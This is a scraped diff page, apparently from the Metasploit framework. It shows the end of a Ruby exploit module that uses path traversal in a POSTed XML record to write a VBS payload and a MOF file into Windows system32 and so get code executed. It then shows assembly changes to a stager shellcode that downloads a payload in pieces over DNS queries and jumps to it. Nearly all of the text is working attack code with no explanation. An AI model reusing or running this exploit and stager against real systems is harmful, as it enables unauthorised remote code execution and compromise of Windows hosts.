mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading the VBS file")
|
||||||
|
worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
|
||||||
|
unless worked
|
||||||
|
fail_with(Failure::NotVulnerable, "Failed to upload the file")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading the MOF file")
|
||||||
|
upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_file(filename, content)
|
||||||
|
traversal = "..\\" * datastore['DEPTH']
|
||||||
|
traversal << filename
|
||||||
|
|
||||||
|
record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
|
||||||
|
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||||
|
message = md5 + record
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/FSF/CMD',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml",
|
||||||
|
'data' => message,
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
|
||||||
|
print_warning("#{peer} - File successfully uploaded: #{filename}")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to upload the file")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -160,7 +160,7 @@ get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
mov edx, [edx] ; Get the next module
|
mov edx, [edx] ; Get the next module
|
||||||
jmp next_mod ; Process this module
|
jmp.i8 next_mod ; Process this module
|
||||||
|
|
||||||
; actual routine
|
; actual routine
|
||||||
start:
|
start:
|
||||||
|
@ -195,7 +195,7 @@ load_dnsapi:
|
||||||
mov bl,0x61 ; first query, start with 'a'
|
mov bl,0x61 ; first query, start with 'a'
|
||||||
|
|
||||||
dnsquery:
|
dnsquery:
|
||||||
jmp get_dnsname ; get dnsname
|
jmp.i8 get_dnsname ; get dnsname
|
||||||
|
|
||||||
get_dnsname_return:
|
get_dnsname_return:
|
||||||
pop eax ; get ptr to dnsname (lpstrName)
|
pop eax ; get ptr to dnsname (lpstrName)
|
||||||
|
@ -215,7 +215,7 @@ get_dnsname_return:
|
||||||
call ebp ;
|
call ebp ;
|
||||||
test eax, eax ; query ok ?
|
test eax, eax ; query ok ?
|
||||||
jnz jump_to_payload ; no, jump to payload
|
jnz jump_to_payload ; no, jump to payload
|
||||||
jmp get_query_result ; eax = 0 : a piece returned, fetch it
|
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
|
||||||
|
|
||||||
|
|
||||||
get_dnsname:
|
get_dnsname:
|
||||||
|
@ -225,9 +225,9 @@ get_dnsname:
|
||||||
get_query_result:
|
get_query_result:
|
||||||
xchg #{bufferreg},edx ; save start of heap
|
xchg #{bufferreg},edx ; save start of heap
|
||||||
pop #{bufferreg} ; heap structure containing DNS results
|
pop #{bufferreg} ; heap structure containing DNS results
|
||||||
mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop
|
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
|
||||||
test eax,eax
|
cmp eax,1
|
||||||
jnz prepare_payload ; jmp to payload
|
jne prepare_payload ; jmp to payload
|
||||||
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
|
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
|
||||||
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
|
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
|
||||||
|
|
||||||
|
@ -243,7 +243,7 @@ copy_piece_to_heap:
|
||||||
push edi ;
|
push edi ;
|
||||||
inc ebx ; increment sequence
|
inc ebx ; increment sequence
|
||||||
xchg #{bufferreg},edx ; restore start of heap
|
xchg #{bufferreg},edx ; restore start of heap
|
||||||
jmp dnsquery ; try to get the next piece, if any
|
jmp.i8 dnsquery ; try to get the next piece, if any
|
||||||
|
|
||||||
prepare_payload:
|
prepare_payload:
|
||||||
mov #{bufferreg},edx
|
mov #{bufferreg},edx
|
||||||
|
|
Loading…
Reference in New Issue